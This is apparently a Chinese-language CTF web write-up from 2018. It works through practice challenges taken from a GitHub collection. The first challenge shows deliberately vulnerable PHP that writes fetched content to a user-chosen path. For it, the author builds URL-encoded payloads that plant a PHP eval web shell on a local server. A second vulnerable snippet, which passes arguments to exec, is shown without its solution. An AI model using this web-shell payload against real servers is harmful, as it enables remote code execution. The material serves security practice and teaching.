@shaobaobaoer
2018-07-22T04:53:34.000000Z
字数 1990
阅读 1427
CTF WEB wp
做题地址:
https://github.com/inory009/CTF-Web-Challenges
感谢师傅们整理的题目,我会写点自己的WP和心得
环境: Kali linux -- docker -- firefox
环境配置教程: http://120.79.191.75/archives/28
Build 之前 把 deploy 目录下的start.sh 放到 deploy/src/目录下,不然会报错
这道题目推荐在本地搭建一下就行了。
<?phpif(isset($_GET) && !empty($_GET)){$url = $_GET['file'];$path = "upload/".$_GET['path'];}else{show_source(__FILE__);exit();}if(strpos($path,'..') > -1){die('This is a waf!');}// 比较有意思的是这个函数if(strpos($url,'http://127.0.0.1/') === 0){// 将file 参数放到了 $url 中,然后file_put_contents($path, file_get_contents($url));echo "console.log($path update successed!)";}else{echo "Hello.Geeker";}
两个参数,一个file 一个path
path
file
$path update successed的 $path参数就是我们的目标。path=%3C?php%20eval($_REQUEST[c]);?%3Ehttp://127.0.0.1/即可http://127.0.0.1/?file=http://127.0.0.1/&path=%3C?php%20eval($_REQUEST[c]);?%3E当然,我们需要给它url_encode一下。payload
【wp】http://127.0.0.1/?file=http://127.0.0.1/?file%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%253C%3fphp%2520eval(%24_REQUEST%5bc%5d)%3b%3f%253E.php&path=c.php【那个.php不要也没问题】http://127.0.0.1/?file=http://127.0.0.1/?file%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%253C%3fphp%2520eval(%24_REQUEST%5bc%5d)%3b%3f%253E&path=z.php

<?phphighlight_file(__FILE__);$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];if ( !file_exists($dir) )mkdir($dir);chdir($dir);$args = $_GET['args'];for ( $i=0; $i<count($args); $i++ ){if ( !preg_match('/^\w+$/', $args[$i]) )exit();}exec("/bin/orange " . implode(" ", $args));?>
参数 args